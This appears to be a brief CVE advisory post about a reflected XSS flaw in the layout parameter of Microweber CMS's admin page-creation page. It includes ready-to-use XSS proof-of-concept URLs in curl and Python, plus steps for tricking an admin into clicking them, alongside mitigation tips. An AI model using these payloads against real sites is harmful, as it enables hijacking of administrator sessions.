Listen to this Post
How the CVE Works
The vulnerability exists in Microweber CMS versions 2.0.0 to 2.0.19. A reflected XSS flaw occurs in the `layout` parameter of the `/admin/page/create` page. Attackers can craft malicious URLs containing JavaScript payloads, which are then executed when an authenticated admin visits the manipulated link. Since the input is not properly sanitized, the script runs in the admin’s browser session, potentially leading to session hijacking, data theft, or unauthorized actions.
DailyCVE Form
Platform: Microweber CMS
Version: 2.0.0 – 2.0.19
Vulnerability: Reflected XSS
Severity: Moderate
Date: Aug 1, 2025
Prediction: Patch by Sep 2025
What Undercode Say
Analytics:
curl -X GET "http://target/admin/page/create?layout=<script>alert('XSS')</script>"
payload = "<svg/onload=alert('XSS')>"
requests.get(f"http://victim-site/admin/page/create?layout={payload}")
Exploit:
- Craft malicious URL with JavaScript payload.
- Trick admin into clicking the link.
- Payload executes in admin context.
Protection from this CVE:
- Sanitize `layout` parameter input.
- Implement CSP headers.
- Update to patched version (when released).
Impact:
- Admin session compromise.
- Unauthorized CMS modifications.
- Data exfiltration.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
